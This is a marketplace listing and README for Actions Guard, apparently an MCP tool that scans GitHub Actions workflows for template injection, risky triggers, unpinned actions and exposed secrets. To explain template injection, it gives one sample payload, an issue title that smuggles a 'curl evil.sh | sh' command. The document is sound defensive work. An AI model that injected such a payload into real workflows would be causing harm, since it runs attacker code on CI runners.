Command Palette

Search for a command to run...

UnylyUnyly
Browse all

Actions Guard

FreeNot checked

Scans GitHub Actions workflow files for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets in shell commands before th

GitHubEmbed

About

Scans GitHub Actions workflow files for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets in shell commands before they are committed, exposing the checks as MCP tools for agents.

README

A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.

Why this exists

Static analysis for GitHub Actions workflows is a mature, well-understood field — zizmor is a respected, actively maintained standalone scanner for exactly this. What doesn't exist yet is a serious MCP wrapper around that class of analysis. The one project found in a broad search (github-security-mcp) spreads 45 checks across org settings, secrets, supply chain, and Actions in one generic tool — 12 stars, no commits in 5 months. Nothing focuses on workflow security specifically, deeply, as something an agent can call while it's actively writing or reviewing a workflow file.

What it catches

  • Dangerous triggers (AGMCP-101)pull_request_target or workflow_run combined with a checkout step whose ref: or repository: points at the triggering PR/run's own fork. This is the exact shape of the CoreShop incident: a workflow that runs with the base repo's token and secrets, but checks out and executes code from the fork that triggered it.
  • Template injection (AGMCP-102)${{ ... }} expressions built from attacker-controlled context (github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, a toJSON(github.event) whole-payload dump, and similar) interpolated directly into a run: step, rather than passed through env:. The classic shape is run: echo "${{ github.event.issue.title }}" — an issue title of "; curl evil.sh | sh # is not a string at that point, it's shell.
  • Unpinned actions and reusable workflows (AGMCP-103)uses: owner/repo@v4 (a tag or branch, both mutable) instead of a pinned commit SHA; a job-level reusable-workflow call (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the same mutable way; or a docker://image:tag reference not pinned to a @sha256: digest. This is the exact supply-chain surface the tj-actions incident used: a compromised tag pointed everyone using it at malicious code with no version bump.
  • Excessive permissions (AGMCP-104)permissions: write-all, or explicit broad write scopes (contents, actions, packages, ...), set at either the workflow level or a job level, on a workflow that also has a risky trigger, where a narrower scope would do.
  • Secrets interpolated into shell (AGMCP-105)${{ secrets.X }} used directly in a run: step instead of passed through env:, which is unnecessary exposure of the raw secret value into the shell command line / process list rather than an environment variable.

All marker matching (AGMCP-101/102/105) normalizes GitHub Actions' bracket-notation property access (github.event['issue']['title']) to the equivalent dot form and matches case-insensitively, since the expression language treats both as identical.

Known limitations

This is pattern matching over the literal text of ${{ }} expressions and with:/permissions: blocks — not a full GitHub Actions expression parser or a data-flow analysis. A clean scan means "no known risky pattern found in the text as written," not a guarantee the workflow is safe. Concretely:

  • No cross-step / env: data-flow tracking. A dangerous value routed through an intermediate env: variable or a step output before reaching a checkout ref: or a run: command is invisible to AGMCP-101/102/105 — only the literal expression in the field being checked is inspected.
  • The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.

If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.

Setup

pip install actions-guard-mcp
actions-guard-mcp

No configuration needed — every tool takes a workflow file path or its raw YAML content directly.

Status

Early build.

License

MIT

from github.com/BerkantACUN/actions-guard-mcp

Install Actions Guard in Claude Desktop, Claude Code & Cursor

Recommended · one command, every IDE
unyly install actions-guard-mcp

Installs into Claude Desktop, Claude Code, Cursor & VS Code — handles npx, uvx and build-from-source repos for you.

First time? Get the CLI: curl -fsSL https://unyly.org/install | sh

Or configure manually

Run in your terminal:

claude mcp add actions-guard-mcp -- uvx --from git+https://github.com/BerkantACUN/actions-guard-mcp actions-guard-mcp

Step-by-step: how to install Actions Guard

FAQ

Is Actions Guard MCP free?

Yes, Actions Guard MCP is free — one-click install via Unyly at no cost.

Does Actions Guard need an API key?

No, Actions Guard runs without API keys or environment variables.

Is Actions Guard hosted or self-hosted?

Self-hosted: the server runs locally on your machine via the install command above.

How do I install Actions Guard in Claude Desktop, Claude Code or Cursor?

Open Actions Guard on unyly.org, pick your client tab (Claude Desktop, Claude Code, Cursor) and press Install — the config is generated automatically, no JSON editing.

Related MCPs

Compare Actions Guard with

Not sure what to pick?

Find your stack in 60 seconds

Author?

Embed badge for your README

Browse similar

All development MCPs